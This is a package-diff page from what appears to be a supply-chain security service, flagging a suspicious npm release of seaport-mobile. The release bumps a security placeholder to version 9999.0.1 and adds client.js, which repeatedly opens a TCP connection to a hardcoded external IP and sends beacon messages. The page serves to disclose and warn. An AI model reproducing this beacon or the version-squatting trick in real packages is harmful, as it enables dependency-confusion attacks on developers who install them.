seaport-mobile 0.0.1-security → 9999.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of seaport-mobile might be problematic. Click here for more details.
- package/client.js +31 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/client.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
const { setMaxListeners } = require("events");
|
2
|
+
const net = require("net");
|
3
|
+
|
4
|
+
const option = {
|
5
|
+
port: 4000,
|
6
|
+
host:"181.78.0.177"
|
7
|
+
};
|
8
|
+
|
9
|
+
const client = net.createConnection(option);
|
10
|
+
|
11
|
+
function conect () {
|
12
|
+
client.on('connect', ()=>{
|
13
|
+
console.log("Conected");
|
14
|
+
client.write("Hello");
|
15
|
+
function sendData() {
|
16
|
+
console.log(setMaxListeners(1))
|
17
|
+
client.write("Hello");
|
18
|
+
}
|
19
|
+
setInterval(sendData, 4000);
|
20
|
+
})
|
21
|
+
}
|
22
|
+
conect()
|
23
|
+
setInterval(conect, 3000)
|
24
|
+
|
25
|
+
client.on('close', ()=>{
|
26
|
+
console.log("conexion end");
|
27
|
+
})
|
28
|
+
|
29
|
+
client.on('error', (err)=>{
|
30
|
+
console.log(err.message);
|
31
|
+
})
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "seaport-mobile",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9999.0.1",
|
4
|
+
"description": "Test vulnerabiliti",
|
5
|
+
"main": "client.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"start": "node client.js"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=seaport-mobile for more information.
|